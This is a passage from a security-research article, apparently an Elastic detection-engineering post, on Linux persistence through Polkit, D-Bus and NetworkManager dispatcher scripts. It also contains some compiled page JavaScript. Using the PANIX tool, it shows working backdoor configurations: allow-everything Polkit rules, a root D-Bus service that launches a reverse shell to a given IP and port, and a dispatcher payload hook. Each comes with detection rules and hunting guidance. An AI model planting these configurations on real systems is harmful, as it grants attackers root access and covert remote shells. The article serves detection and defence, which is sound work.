Initramfs](https://github.com/elastic/detection-rules/blob/1851ab91fdb84ac2c1fc9bf9d0663badadd0d0a7/hunting/linux/queries/persistence_via_initramfs.toml) and [General Kernel Manipulation](https://github.com/elastic/detection-rules/blob/1851ab91fdb84ac2c1fc9bf9d0663badadd0d0a7/hunting/linux/queries/persistence_general_kernel_manipulation.toml) hunting rules and the tailored detection queries listed above, you can effectively identify and respond to [T1542](https://attack.mitre.org/techniques/T1542/).\n\n# T1543 - Create or Modify System Process: PolicyKit\n\n[PolicyKit (or Polkit)](https://linux.die.net/man/8/polkit) is a system service that provides an authorization framework for managing privileged actions in Linux systems. It enables fine-grained control over system-wide privileges, allowing non-privileged processes to interact with privileged ones securely. Acting as an intermediary between system services and users, Polkit determines whether a user is authorized to perform specific actions. For instance, it governs whether a user can restart network services or install software without requiring full sudo permissions.\n\nPolkit authorization is governed by rules, actions, and authorization policies:\n\n* **Actions**: Defined in XML files (`.policy`), these specify the operations Polkit can manage, such as [`org.freedesktop.systemd1.manage-units`](https://www.freedesktop.org/software/systemd/man/latest/org.freedesktop.systemd1.html). \n* **Rules**: JavaScript-like files (`.rules`) determine how authorization is granted for specific actions. They can check user groups, environment variables, or other conditions. \n* **Authorization Policies**: `.pkla` files set default or per-user/group authorizations for actions, determining whether authentication is required.\n\nThe configuration files used by Polkit are found in several different locations, depending on the version of Polkit that is present on the system, and the Linux distribution that is active. The main locations you should know about:\n\n* Action definitions: \n * `/usr/share/polkit-1/actions/` \n* Rule definitions: \n * `/etc/polkit-1/rules.d/` \n * `/usr/share/polkit-1/rules.d/` \n* Authorization definitions: \n * `/etc/polkit-1/localauthority/` \n * `/var/lib/polkit-1/localauthority/`\n\nA Polkit `.rules` file defines the logic for granting or denying specific actions. These files provide flexibility in determining whether a user or process can execute an action. Here’s a simple example:\n\n```\npolkit.addRule(function(action, subject) {\n if (action.id == \"org.freedesktop.systemd1.manage-units\" \u0026\u0026\n subject.isInGroup(\"servicemanagers\")) {\n return polkit.Result.YES;\n }\n return polkit.Result.NOT_HANDLED;\n});\n```\n\nIn this rule:\n\n* The action `org.freedesktop.systemd1.manage-units` (managing `systemd` services) is granted to users in the `servicemanagers` group. \n* Other actions fall back to default handling.\n\nThis structure allows administrators to implement custom policies, but it also opens the door for attackers who can insert overly permissive rules to gain unauthorized privileges.\n\nCurrently, Polkit does not have a dedicated technique in the MITRE ATT\u0026CK framework. The closest match is [T1543: Create or Modify System Process](https://attack.mitre.org/techniques/T1543/), which describes adversaries modifying system-level processes to achieve persistence or privilege escalation.\n\nIn the next section, we will explore step-by-step how attackers can craft and deploy malicious Polkit rules and authorization files, while also discussing detection and mitigation strategies.\n\n# Persistence through T1543 - Create or Modify System Process: PolicyKit\n\nNow that we understand the theory, let’s take a look at how to simulate this in practice through the [setup_polkit.sh](https://github.com/Aegrah/PANIX/blob/7e27768807e12d11932e2fca5b6a4867308295dd/modules/setup_polkit.sh) PANIX module. First, the module checks the active Polkit version through the `pkaction --version` command, as versions \\\u003c 0.106 use the older `.pkla` files, while newer versions (\\\u003e= 0.106) use the more recent `.rules` files. Depending on the version, the module will continue to create the Polkit policy that is overly permissive. For versions \\\u003c 0.106 a `.pkla` file is created in `/etc/polkit-1/localauthority/50-local.d/`:\n\n```\nmkdir -p /etc/polkit-1/localauthority/50-local.d/\n\n# Write the .pkla file\ncat \u003c\u003c-EOF \u003e /etc/polkit-1/localauthority/50-local.d/panix.pkla\n[Allow Everything]\nIdentity=unix-user:*\nAction=*\nResultAny=yes\nResultInactive=yes\nResultActive=yes\nEOF\n```\n\nAllowing any `unix-user` to do any action through the `Identity=unix-user:*` and `Action=*` parameters.\n\nFor versions \\\u003e= 0.106 a `.rules` file is created in `/etc/polkit-1/rules.d/`:\n\n```\nmkdir -p /etc/polkit-1/rules.d/\n\n# Write the .rules file\ncat \u003c\u003c-EOF \u003e /etc/polkit-1/rules.d/99-panix.rules\npolkit.addRule(function(action, subject) {\n\treturn polkit.Result.YES;\n});\nEOF\n```\n\nWhere an overly permissive policy always returns `polkit.Result.YES`, which means that any action that requires Polkit’s authentication will be allowed by anyone.\n\nPolkit rules are processed in lexicographic (ASCII) order, meaning files with lower numbers load first, and later rules can override earlier ones. If two rules modify the same policy, the rule with the higher number takes precedence because it is evaluated last. To ensure the rule is executed and overrides others, PANIX creates it with a filename starting with 99 (e.g. `99-panix.rules`).\n\nLet’s run the PANIX module with the following command line arguments:\n\n```\n\u003e sudo ./panix.sh --polkit\n\n[!] Polkit version \u003c 0.106 detected. Setting up persistence using .pkla files.\n[+] Persistence established via .pkla file.\n[+] Polkit service restarted.\n[!] Run pkexec su - to test the persistence.\n```\n\nAnd take a look at the logs in Kibana:\n\n\n\nUpon execution of PANIX, we can see the `pkaction --version` command being issued to determine whether a `.pkla` or `.rules` file approach is needed. After figuring this out, the correct policy is created, and the `polkit` service is restarted (this is not always necessary however). Once these policies are in place, a user with a `user.Ext.real.id` of `1000` (not-root) is capable of obtaining root privileges by executing the `pkexec su -` command. \n\nLet’s take a look at our detection opportunities:\n\n*Detection and endpoint rules that cover Polkit persistence*\n\n| Category | Coverage |\n| :---- | :---- |\n| File | [Polkit Policy Creation](https://github.com/elastic/detection-rules/blob/cf183579b46dae3ebd294098b330341a98691fd0/rules/linux/persistence_polkit_policy_creation.toml) |\n| | [Potential Persistence via File Modification](https://github.com/elastic/detection-rules/blob/ac541f0b18697e053b3b56544052955d29b440c0/rules/integrations/fim/persistence_suspicious_file_modifications.toml) |\n| Process | [Polkit Version Discovery](https://github.com/elastic/detection-rules/blob/cf183579b46dae3ebd294098b330341a98691fd0/rules/linux/discovery_polkit_version_discovery.toml) |\n| | [Unusual Pkexec Execution](https://github.com/elastic/detection-rules/blob/cf183579b46dae3ebd294098b330341a98691fd0/rules/linux/execution_unusual_pkexec_execution.toml) |\n\nTo revert any changes, you can use the corresponding revert module by running:\n\n```\n\u003e ./panix.sh --revert polkit\n\n[+] Checking for .pkla persistence file...\n[+] Removed file: /etc/polkit-1/localauthority/50-local.d/panix.pkla\n[+] Checking for .rules persistence file...\n[-] .rules file not found: /etc/polkit-1/rules.d/99-panix.rules\n[+] Restarting polkit service...\n[+] Polkit service restarted successfully.\n```\n\n# Hunting for T1543 - Create or Modify System Process: PolicyKit\n\nWe can hunt for this technique using ES|QL and OSQuery by focusing on suspicious activity tied to the modification of PolicyKit configuration files and rules. The approach includes hunting for the following:\n\n1. **Creations and/or Modifications to PolicyKit Configuration Files**: Tracks changes in critical directories containing custom and system-wide rules, action descriptions and authorizations rules. Monitoring these paths helps identify unauthorized additions or tampering that could indicate malicious activity. \n2. **Metadata Analysis of PolicyKit Files**: Inspects file ownership, access times, and modification timestamps for PolicyKit-related files. Unauthorized changes or files with unexpected ownership can indicate an attempt to persist or escalate privileges through PolicyKit. \n3. **Detection of Rare or Anomalous Events**: Identifies uncommon file modification or creation events by analyzing process execution and correlation with file activity. This helps surface subtle indicators of compromise.\n\nBy combining the [Persistence via PolicyKit](https://github.com/elastic/detection-rules/blob/1851ab91fdb84ac2c1fc9bf9d0663badadd0d0a7/hunting/linux/queries/persistence_via_policykit.toml) hunting rule with the tailored detection queries listed above, analysts can effectively identify and respond to [T1543](https://attack.mitre.org/techniques/T1543/).\n\n# T1543 - Create or Modify System Process: D-Bus\n\n[D-Bus (Desktop Bus)](https://linux.die.net/man/1/dbus-daemon) is an [inter-process communication (IPC)](https://www.geeksforgeeks.org/inter-process-communication-ipc/) system widely used in Linux and other Unix-like operating systems. It serves as a structured message bus, enabling processes, system services, and applications to communicate and coordinate actions. As a cornerstone of modern Linux environments, D-Bus provides the framework for both system-wide and user-specific communication.\n\nAt its core, D-Bus facilitates interaction between processes by providing a standardized mechanism for sending and receiving messages, eliminating the need for custom IPC solutions while improving efficiency and security. It operates through two primary communication channels:\n\n* **System Bus**: Used for communication between system-level services and privileged operations, such as managing hardware or network configuration. \n* **Session Bus**: Used for communication between user-level applications, such as desktop notifications or media players.\n\nA D-Bus daemon manages the message bus, ensuring messages are routed securely between processes. Processes register themselves on the bus with unique names and provide interfaces containing methods, signals, and properties for other processes to interact with. The core components of D-Bus communication looks as follows:\n\n**Interfaces**:\n\n* Define a collection of methods, signals, and properties a service offers. \n* Example: [`org.freedesktop.NetworkManager`](https://networkmanager.dev/docs/api/latest/gdbus-org.freedesktop.NetworkManager.html) provides methods to manage network connections.\n\n**Methods**:\n\n* Allow external processes to invoke specific actions or request information. \n* Example: The method `org.freedesktop.NetworkManager.Reload` can be called to reload a network service.\n\n**Signals**:\n\n* Notifications sent by a service to inform other processes about events. \n* Example: A signal might indicate a network connection status change.\n\nAs an example, the following command sends a message to the system bus to invoke the `Reload` method on the `NetworkManager` service:\n\n```\ndbus-send --system --dest=org.freedesktop.NetworkManager /org/freedesktop/NetworkManager org.freedesktop.NetworkManager.Reload uint32:0\n```\n\nD-Bus services are applications or daemons that register themselves on the bus to provide functionality. If a requested service is not running, the D-Bus daemon can start it automatically using predefined service files.\n\nThese services use service files with a `.service` extension to tell D-Bus how to start a service. For example:\n\n```\n[D-BUS Service]\nName=org.freedesktop.MyService\nExec=/usr/bin/my-service\nUser=root\n```\n\nD-Bus service files can be located in several different locations, depending on whether these services are running system-wide or at the user-level, and depending on the architecture and Linux distribution. The following is an overview of locations that are used, which is not an exhaustive list, as different distributions use different default locations:\n\n1. **System-wide Configuration and Services**: \n * System service files: \n * `/usr/share/dbus-1/system-services/` \n * `/usr/local/share/dbus-1/system-services/` \n * System policy files: \n * `/etc/dbus-1/system.d/` \n * `/usr/share/dbus-1/system.d/` \n * System configuration files: \n * `/etc/dbus-1/system.conf` \n * `/usr/share/dbus-1/system.conf` \n2. **Session-wide Configuration and Services**: \n * Session service files: \n * `/usr/share/dbus-1/session-services/` \n * `~/.local/share/dbus-1/services/` \n * Session policy files: \n * `/etc/dbus-1/session.d/` \n * `/usr/share/dbus-1/session.d/` \n * Session configuration files: \n * `/etc/dbus-1/session.conf` \n * `/usr/share/dbus-1/session.conf`\n\nMore details on each path is available [here](https://dbus.freedesktop.org/doc/dbus-daemon.1.html). D-Bus policies, written in XML, define access control rules for D-Bus services. These policies specify who can perform actions such as sending messages, receiving responses, or owning specific services. They are essential for controlling access to privileged operations and ensuring that services are not misused. There are several key components to a D-Bus policy:\n\n1. **Context**: \n* Policies can apply to specific users, groups, or a default context (`default` applies to all users unless overridden). \n2. **Allow/Deny Rules**: \n* Rules explicitly grant (`allow`) or restrict (`deny`) access to methods, interfaces, or services. \n3. **Granularity**: \n* Policies can control access at multiple levels: \n * Entire services (e.g., `org.freedesktop.MyService`). \n * Specific methods or interfaces (e.g., `org.freedesktop.MyService.SecretMethod`).\n\nThe following example demonstrates a D-Bus policy that enforces clear access restrictions:\n\n```\n\u003c!DOCTYPE busconfig PUBLIC \"-//freedesktop//DTD D-Bus Bus Configuration 1.0//EN\"\n \"http://www.freedesktop.org/standards/dbus/1.0/busconfig.dtd\"\u003e\n\u003cbusconfig\u003e\n \u003c!-- Default policy: Deny all access --\u003e\n \u003cpolicy context=\"default\"\u003e\n \u003cdeny send_destination=\"org.freedesktop.MyService\"/\u003e\n \u003c/policy\u003e\n\n \u003c!-- Allow only users in the \"admin\" group to access specific methods --\u003e\n \u003cpolicy group=\"admin\"\u003e\n \u003callow send_interface=\"org.freedesktop.MyService.PublicMethod\"/\u003e\n \u003c/policy\u003e\n\n \u003c!-- Allow root to access all methods --\u003e\n \u003cpolicy user=\"root\"\u003e\n \u003callow send_destination=\"org.freedesktop.MyService\"/\u003e\n \u003c/policy\u003e\n\u003c/busconfig\u003e\n```\n\nThis policy:\n\n1. Denies all access to the service `org.freedesktop.MyService` by default. \n2. Grants users in the `admin` group access to a specific interface (`org.freedesktop.MyService.PublicMethod`). \n3. Grants full access to the `org.freedesktop.MyService` destination for the `root` user.\n\nD-Bus’s central role in IPC makes it a potential interesting target for attackers. Potential attack vectors include:\n\n1. **Hijacking or Registering Malicious Services**: \n * Attackers can replace or add `.service` files in e.g. `/usr/share/dbus-1/system-services/` to hijack legitimate communication or inject malicious code. \n2. **Creating or Exploiting Over-permissive Policies**: \n * Weak policies (e.g., granting all users access to critical services) can allow attackers to invoke privileged methods. \n3. **Abusing Vulnerable Services**: \n * If a D-Bus service improperly validates input, attackers may execute arbitrary code or perform unauthorized actions.\n\nThe examples above can be used for privilege escalation, defense evasion and persistence. Currently, there is no specific MITRE ATT\u0026CK sub-technique for D-Bus. However, its abuse aligns closely with [T1543: Create or Modify System Process](https://attack.mitre.org/techniques/T1543/), as well as [T1574: Hijack Execution Flow](https://attack.mitre.org/techniques/T1574/) for cases where `.service` files are modified.\n\nIn the next section we will take a look at how an attacker can set up overly permissive D-Bus configurations that send out reverse connections with root permissions, while discussing approaches to detecting this behavior. \n\n# Persistence through T1543 - Create or Modify System Process: D-Bus\n\nNow that we've learnt all about D-Bus setup, it’s time to take a look at how to simulate this in practice through the [setup_dbus.sh](https://github.com/Aegrah/PANIX/blob/7e27768807e12d11932e2fca5b6a4867308295dd/modules/setup_dbus.sh) PANIX module. PANIX starts off by creating a D-Bus service file at `/usr/share/dbus-1/system-services/org.panix.persistence.service` with the following contents:\n\n```\ncat \u003c\u003c'EOF' \u003e \"$service_file\"\n[D-BUS Service]\nName=org.panix.persistence\nExec=/usr/local/bin/dbus-panix.sh\nUser=root\nEOF\n```\n\nThis service file will listen on the `org.panix.persistence` interface, and execute the `/usr/local/bin/dbus-panix.sh` “service”. The `dbus-panix.sh` script simply invokes a reverse shell connection when called:\n\n```\ncat \u003c\u003cEOF \u003e \"$payload_script\"\n#!/bin/bash\n# When D-Bus triggers this service, execute payload.\n${payload}\nEOF\n```\n\nTo ensure any user is allowed to invoke the actions corresponding to the interface, PANIX sets up a `/etc/dbus-1/system.d/org.panix.persistence.conf` file with the following contents:\n\n```\ncat \u003c\u003c'EOF' \u003e \"$conf_file\"\n\u003c!DOCTYPE busconfig PUBLIC \"-//freedesktop//DTD D-Bus Bus Configuration 1.0//EN\"\n\t\"http://www.freedesktop.org/standards/dbus/1.0/busconfig.dtd\"\u003e\n\u003cbusconfig\u003e\n\t\u003c!-- Allow any user to own, send to, and access the specified service --\u003e\n\t\u003cpolicy context=\"default\"\u003e\n\t\t\u003callow own=\"org.panix.persistence\"/\u003e\n\t\t\u003callow send_destination=\"org.panix.persistence\"/\u003e\n\t\t\u003callow send_interface=\"org.panix.persistence\"/\u003e\n\t\u003c/policy\u003e\n\u003c/busconfig\u003e\nEOF\n```\n\nThis configuration defines a D-Bus policy that permits any user or process to own, send messages to, and interact with the `org.panix.persistence` service, effectively granting unrestricted access to it. After restarting the `dbus` service, the setup is complete.\n\nTo interact with the service, the following command can be used:\n\n```\ndbus-send --system --type=method_call /\n--dest=org.panix.persistence /org/panix/persistence /\norg.panix.persistence.Method\n```\n\nThis command sends a method call to the D-Bus system bus, targeting the `org.panix.persistence` service, invoking the `org.panix.persistence.Method` method on the `/org/panix/persistence` object, effectively triggering the backdoor. \n\nLet’s run the PANIX module with the following command line arguments:\n\n```\n\u003e sudo ./panix.sh --dbus --default --ip 192.168.1.100 --port 2016\n\n[+] Created/updated D-Bus service file: /usr/share/dbus-1/system-services/org.panix.persistence.service\n[+] Created/updated payload script: /usr/local/bin/dbus-panix.sh\n[+] Created/updated D-Bus config file: /etc/dbus-1/system.d/org.panix.persistence.conf\n[!] Restarting D-Bus...\n[+] D-Bus restarted successfully.\n[+] D-Bus persistence module completed. Test with:\n\ndbus-send --system --type=method_call --print-reply /\n--dest=org.panix.persistence /org/panix/persistence /\norg.panix.persistence.Method\n```\n\nUpon execution of the `dbus-send` command:\n\n```\ndbus-send --system --type=method_call --print-reply /\n--dest=org.panix.persistence /org/panix/persistence /\norg.panix.persistence.Method\n```\n\nWe will take a look at the documents in Kibana:\n\n\n\nUpon PANIX execution, the `org.panix.persistence.service`, `dbus-panix.sh`, and `org.panix.persistence.conf` files are created, successfully setting the stage. Afterwards, the `dbus` service is restarted, and the dbus-send command is executed to interact with the `org.panix.persistence` service. Upon invocation of the `org.panix.persistence.Method` method, the `dbus-panix.sh` backdoor is executed, and the reverse shell connection chain (`dbus-panix.sh` → `nohup` → `setsid` → `bash`) is initiated.\n\nLet’s take a look at our detection opportunities:\n\n*Detection and endpoint rules that cover D-Bus persistence*\n\n| Category | Coverage |\n| :---- | :---- |\n| File | [D-Bus Service Created](https://github.com/elastic/detection-rules/blob/fb13b89f8d277ee78d4027a8014ad67023aa167c/rules/linux/persistence_dbus_service_creation.toml) |\n| | [Potential Persistence via File Modification](https://github.com/elastic/detection-rules/blob/ac541f0b18697e053b3b56544052955d29b440c0/rules/integrations/fim/persistence_suspicious_file_modifications.toml) |\n| Process | [Suspicious D-Bus Method Call](https://github.com/elastic/protections-artifacts/blob/3fac07906582ca9615d0e291a4629445fd5ca37b/behavior/rules/linux/execution_suspicious_d_bus_method_call.toml) |\n| | [Unusual D-Bus Daemon Child Process](https://github.com/elastic/detection-rules/blob/1851ab91fdb84ac2c1fc9bf9d0663badadd0d0a7/rules/linux/persistence_dbus_unsual_daemon_parent_execution.toml) |\n\nTo revert any changes, you can use the corresponding revert module by running:\n\n```\n\u003e ./panix.sh --revert dbus\n\n[*] Reverting D-Bus persistence module...\n[+] Removing D-Bus service file: /usr/share/dbus-1/system-services/org.panix.persistence.service...\n[+] D-Bus service file removed.\n[+] Removing payload script: /usr/local/bin/dbus-panix.sh\n[+] Payload script removed.\n[+] Removing D-Bus configuration file: /etc/dbus-1/system.d/org.panix.persistence.conf...\n[+] D-Bus configuration file removed.\n[*] Restarting D-Bus...\n[+] D-Bus restarted successfully.\n[+] D-Bus persistence reverted.\n```\n\n# Hunting for T1543 - Create or Modify System Process: D-Bus\n\nWe can hunt for this technique using ES|QL and OSQuery by focusing on suspicious activity tied to the use and modification of D-Bus-related files, services, and processes. The approach includes monitoring for the following:\n\n1. **Creations and/or Modifications to D-Bus Configuration and Service Files**: Tracks changes in critical directories, such as system-wide and session service files and policy files. Monitoring these paths helps detect unauthorized additions or modifications that may indicate malicious activity targeting D-Bus. \n2. **Metadata Analysis of D-Bus Files**: Inspects file ownership, last access times, and modification timestamps for D-Bus configuration files. This can reveal unauthorized changes or the presence of unexpected files that may indicate attempts to persist through D-Bus. \n3. **Detection of Suspicious Processes**: Monitors executions of processes such as `dbus-daemon` and `dbus-send`, which are key components of D-Bus communication. By tracking command lines, parent processes, and execution counts, unusual or unauthorized usage can be identified. \n4. **Detection of Rare or Anomalous Events**: Identifies uncommon file modifications or process executions by correlating event data across endpoints. This highlights subtle indicators of compromise, such as rare changes to critical D-Bus configurations or the unexpected use of D-Bus commands.\n\nBy combining the [Persistence via Desktop Bus (D-Bus)](https://github.com/elastic/detection-rules/blob/1851ab91fdb84ac2c1fc9bf9d0663badadd0d0a7/hunting/linux/queries/persistence_via_desktop_bus.toml) hunting rule with the tailored detection queries listed above, analysts can effectively identify and respond to [T1543](https://attack.mitre.org/techniques/T1543/).\n\n# T1546 - Event Triggered Execution: NetworkManager\n\n[NetworkManager](https://wiki.archlinux.org/title/NetworkManager) is a widely used daemon for managing network connections on Linux systems. It allows for configuring wired, wireless, VPN, and other network interfaces while offering a modular and extensible design. One of its lesser-known but powerful features is its [dispatcher](https://wiki.archlinux.org/title/NetworkManager#Network_services_with_NetworkManager_dispatcher) feature, which provides a way to execute scripts automatically in response to network events. When certain network events occur (e.g., an interface comes up or goes down), NetworkManager invokes scripts located in this directory. These scripts run as root, making them highly privileged.\n\n* **Event Types**: NetworkManager passes specific events to scripts, such as: \n * `up`: Interface is activated. \n * `down`: Interface is deactivated. \n * `vpn-up`: VPN connection is established. \n * `vpn-down`: VPN connection is disconnected.\n\nScripts placed in `/etc/NetworkManager/dispatcher.d/` are standard shell scripts and must be marked executable. An example of a dispatcher script may look like this:\n\n```\n#!/bin/bash\nINTERFACE=$1\nEVENT=$2\n\nif [ \"$EVENT\" == \"up\" ]; then\n logger \"Interface $INTERFACE is up. Executing custom script.\"\n # Perform actions, such as logging, mounting, or starting services\n /usr/bin/some-command --arg value\nelif [ \"$EVENT\" == \"down\" ]; then\n logger \"Interface $INTERFACE is down. Cleaning up.\"\n # Perform cleanup actions\nfi\n```\n\nLogging events and executing commands whenever a network interface comes up or goes down. \n\nTo achieve persistence through this technique, an attacker can either:\n\n* Create a custom script, mark it executable and place it within the dispatcher directory \n* Modify a legitimate dispatcher script to execute a payload upon a certain network event. \n\nPersistence through `dispatcher.d/` aligns with [T1546: Event Triggered Execution](https://attack.mitre.org/techniques/T1546/) and [T1543: Create or Modify System Process](https://attack.mitre.org/techniques/T1543/) in the MITRE ATT\u0026CK framework. NetworkManager dispatcher scripts however do not have their own sub-technique. \n\nIn the next section, we will explore how dispatcher scripts can be exploited for persistence and visualize the process flow to support effective detection engineering.\n\n# Persistence through T1546 - Event Triggered Execution:\n\nThe concept of this technique is very simple, let’s now put it to practice through the [setup_network_manager.sh](https://github.com/Aegrah/PANIX/blob/7e27768807e12d11932e2fca5b6a4867308295dd/modules/setup_network_manager.sh) PANIX module. The module checks whether the NetworkManager package is available, and whether the `/etc/NetworkManager/dispatcher.d/` path exists, as these are requisites for the technique to work. Next, it creates a new dispatcher file under `/etc/NetworkManager/dispatcher.d/panix-dispatcher.sh`, with a payload on the end. Finally, it grants execution permissions to the dispatcher file, after which it is ready to be activated.\n\n```\ncat \u003c\u003c'EOF' \u003e \"$dispatcher_file\"\n#!/bin/sh -e\n\nif [ \"$2\" = \"connectivity-change\" ]; then\n\texit 0\nfi\n\nif [ -z \"$1\" ]; then\n\techo \"$0: called with no interface\" 1\u003e\u00262\n\texit 1\nfi\n\n[...]\n\n# Insert payload here:\n__PAYLOAD_PLACEHOLDER__\nEOF\n\nchmod +x \"$dispatcher_file\"\n```\n\nWe have included only the most relevant snippets of the module above. Feel free to check out the module source code if you are interested in diving deeper.\n\nLet’s run the PANIX module with the following command line arguments:\n\n```\n\u003e sudo ./panix.sh --network-manager --default --ip 192.168.1.100 --port 2017\n\n[+] Created new dispatcher file: /etc/NetworkManager/dispatcher.d/panix-dispatcher.sh\n[+] Replaced payload placeholder with actual payload.\n[+] Using dispatcher file: /etc/NetworkManager/dispatcher.d/panix-dispatcher.sh\n```\n\nNow, whenever a new network event triggers, the payload will be executed. This can be done through restarting the NetworkManager service, an interface or a reboot. Let’s take a look at the documents in Kibana:\n\n\n\nUpon PANIX execution, the `panix-dispatcher.sh` script is created, marked as executable and `sed` is used to add the payload to the bottom of the script. Upon restarting the `NetworkManager` service through `systemctl`, we can see `nm-dispatcher` executing the `panix-dispatcher.sh` script, effectively detonating the reverse shell chain (`panix-dispatcher.sh` → `nohup` → `setsid` → `bash`).\n\nAnd finally, let’s take a look at our detection opportunities:\n\n*Detection and endpoint rules that cover network-manager persistence*\n\n| Category | Coverage |\n| :---- | :---- |\n| File | [NetworkManager Dispatcher Script Creation](https://github.com/elastic/detection-rules/blob/9b8b9175985ed533493e2c9dc4dc17ee8bf9e704/rules/linux/persistence_network_manager_dispatcher_persistence.toml) |\n| | [Potential Persistence via File Modification](https://github.com/elastic/detection-rules/blob/ac541f0b18697e053b3b56544052955d29b440c0/rules/integrations/fim/persistence_suspicious_file_modifications.toml) |\n| Process | [Shell via NetworkManager Dispatcher Script](https://github.com/elastic/protections-artifacts/blob/3fac07906582ca9615d0e291a4629445fd5ca37b/behavior/rules/linux/execution_shell_via_networkmanager_dispatcher_script.toml) |\n| Network | [Reverse Shell via NetworkManager Dispatcher Script](https://github.com/elastic/protections-artifacts/blob/3fac07906582ca9615d0e291a4629445fd5ca37b/behavior/rules/linux/execution_reverse_shell_via_networkmanager_dispatcher_script.toml) |\n\nTo revert any changes, you can use the corresponding revert module by running:\n\n```\n\u003e ./panix.sh --revert network-manager\n\n[+] Checking for payload in /etc/NetworkManager/dispatcher.d/01-ifupdown...\n[+] No payload found in /etc/NetworkManager/dispatcher.d/01-ifupdown.\n[+] Removing custom dispatcher file: /etc/NetworkManager/dispatcher.d/panix-dispatcher.sh...\n[+] Custom dispatcher file removed.\n[+] NetworkManager persistence reverted.\n```\n\n# Hunting for T1546 - Event Triggered Execution: NetworkManager\n\nWe can hunt for this technique using ES|QL and OSQuery by focusing on suspicious activity tied to the creation, modification, and execution of NetworkManager Dispatcher scripts. The approach includes monitoring for the following:\n\n1. **Creations and/or Modifications to Dispatcher Scripts**: Tracks changes within the `/etc/NetworkManager/dispatcher.d/` directory. Monitoring for new or altered scripts helps detect unauthorized additions or modifications that could indicate malicious intent. \n2. **Detection of Suspicious Processes**: Monitors processes executed by `nm-dispatcher` or scripts located in `/etc/NetworkManager/dispatcher.d/`. By analyzing command lines, parent processes, and execution counts, unusual or unauthorized script executions can be identified. \n3. **Metadata Analysis of Dispatcher Scripts**: Inspects ownership, last access times, and modification timestamps for files in `/etc/NetworkManager/dispatcher.d/`. This can reveal unauthorized changes or anomalies in file attributes that may indicate persistence attempts.\n\nBy combining the [Persistence via NetworkManager Dispatcher Script](https://github.com/elastic/detection-rules/blob/1851ab91fdb84ac2c1fc9bf9d0663badadd0d0a7/hunting/linux/queries/persistence_via_network_manager_dispatcher_script.toml) hunting rule with the tailored detection queries listed above, analysts can effectively identify and respond to [T1546](https://attack.mitre.org/techniques/T1546/). \n\n# Conclusion\n\nIn the fifth and concluding chapter of the \"Linux Detection Engineering\" series, we turned our attention to persistence mechanisms rooted in the Linux boot process, authentication systems, inter-process communication, and core utilities. We began with GRUB-based persistence and the manipulation of initramfs, covering both manual approaches and automated methods using Dracut. Moving further, we explored Polkit-based persistence, followed by a dive into D-Bus exploitation, and concluded with NetworkManager dispatcher scripts, highlighting their potential for abuse in persistence scenarios.\n\nThroughout this series, [PANIX](https://github.com/Aegrah/PANIX) played a critical role in demonstrating and simulating these techniques, allowing you to test your detection capabilities and strengthen your defenses. Combined with the tailored ES|QL and OSQuery queries provided, these tools enable you to identify and respond effectively to even the most advanced persistence mechanisms.\n\nAs we close this series, we hope you feel empowered to tackle Linux persistence threats with confidence. Armed with practical knowledge, actionable strategies, and hands-on experience, you are well-prepared to defend against adversaries targeting Linux environments. Thank you for joining us, and as always, stay vigilant and happy hunting!\n","code":"var Component=(()=\u003e{var h=Object.create;var o=Object.defineProperty;var u=Object.getOwnPropertyDescriptor;var p=Object.getOwnPropertyNames;var f=Object.getPrototypeOf,m=Object.prototype.hasOwnProperty;var g=(n,e)=\u003e()=\u003e(e||n((e={exports:{}}).exports,e),e.exports),b=(n,e)=\u003e{for(var t in e)o(n,t,{get:e[t],enumerable:!0})},c=(n,e,t,s)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let r of p(e))!m.call(n,r)\u0026\u0026r!==t\u0026\u0026o(n,r,{get:()=\u003ee[r],enumerable:!(s=u(e,r))||s.enumerable});return n};var y=(n,e,t)=\u003e(t=n!=null?h(f(n)):{},c(e||!n||!n.__esModule?o(t,\"default\",{value:n,enumerable:!0}):t,n)),w=n=\u003ec(o({},\"__esModule\",{value:!0}),n);var l=g((B,a)=\u003e{a.exports=_jsx_runtime});var _={};b(_,{default:()=\u003ex,frontmatter:()=\u003ev});var i=y(l()),v={title:\"Linux Detection Engineering - The Grand Finale on Linux Persistence\",slug:\"the-grand-finale-on-linux-persistence\",date:\"2025-02-27\",subtitle:\"Building on previous research, this article describes creative, complex, or rare persistence techniques.\",description:\"By the end of this series, you'll have a robust knowledge of both common and rare Linux persistence techniques; and you'll understand how to effectively engineer detections for common and advanced adversary capabilities.\",author:[{slug:\"ruben-groenewoud\"}],image:\"Security Labs Images 5.jpg\",category:[{slug:\"security-research\"}]};function d(n){let e=Object.assign({h1:\"h1\",p:\"p\",ul:\"ul\",li:\"li\",a:\"a\",em:\"em\",ol:\"ol\",h3:\"h3\",strong:\"strong\",code:\"code\",pre:\"pre\",img:\"img\",div:\"div\",table:\"table\",thead:\"thead\",tr:\"tr\",th:\"th\",tbody:\"tbody\",td:\"td\"},n.components);return(0,i.jsxs)(i.Fragment,{children:[(0,i.jsx)(e.h1,{id:\"introduction\",children:\"Introduction\"}),`\n`,(0,i.jsx)(e.p,{children:\"Welcome to the grand finale of the \\u201CLinux Persistence Detection Engineering\\u201D series! In this fifth and final part, we continue to dig deep into the world of Linux persistence. Building on the foundational concepts and techniques explored in the previous publications, this post discusses some more obscure, creative and/or complex backdoors and persistence mechanisms.\"}),`\n`,(0,i.jsx)(e.p,{children:\"If you missed the earlier articles, they lay the groundwork by exploring key persistence concepts. You can catch up on them here:\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://www.elastic.co/security-labs/primer-on-persistence-mechanisms\",rel:\"nofollow\",children:(0,i.jsx)(e.em,{children:\"Linux Detection Engineering - A Primer on Persistence Mechanisms\"})})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://www.elastic.co/security-labs/sequel-on-persistence-mechanisms\",rel:\"nofollow\",children:(0,i.jsx)(e.em,{children:\"Linux Detection Engineering - A Sequel on Persistence Mechanisms\"})})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://www.elastic.co/security-labs/continuation-on-persistence-mechanisms\",rel:\"nofollow\",children:(0,i.jsx)(e.em,{children:\"Linux Detection Engineering - A Continuation on Persistence Mechanisms\"})})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://www.elastic.co/security-labs/approaching-the-summit-on-persistence\",rel:\"nofollow\",children:(0,i.jsx)(e.em,{children:\"Linux Detection Engineering - Approaching the Summit on Persistence Mechanisms\"})})}),`\n`]}),`\n`,(0,i.jsx)(e.p,{children:\"In this publication, 